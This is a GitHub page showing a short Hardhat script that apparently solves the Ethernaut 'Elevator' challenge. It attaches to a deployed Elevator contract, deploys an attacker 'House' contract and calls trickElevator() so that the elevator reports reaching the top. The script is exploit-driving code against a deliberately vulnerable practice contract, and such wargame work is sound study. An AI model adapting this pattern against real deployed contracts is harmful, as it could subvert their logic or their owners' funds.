-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path11-elevator.js
More file actions
29 lines (25 loc) · 1.08 KB
/
Copy path11-elevator.js
File metadata and controls
29 lines (25 loc) · 1.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// We require the Hardhat Runtime Environment explicitly here. This is optional
// but useful for running the script in a standalone fashion through `node <script>`.
//
// When running the script with `npx hardhat run <script>` you'll find the Hardhat
// Runtime Environment's members available in the global scope.
const hre = require("hardhat");
const provider = hre.waffle.provider;
async function main() {
const elevatorInstAddr = "0x65344daEeB6398D1B20d42952C67e85Cdb75F5f4";
const Elevator = await hre.ethers.getContractFactory("Elevator");
const elevator = await Elevator.attach(elevatorInstAddr);
const House = await hre.ethers.getContractFactory("House");
const house = await House.deploy(elevator.address);
console.log("Elevator reached top:", await elevator.top());
await house.trickElevator();
console.log("Elevator reached top:", await elevator.top());
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});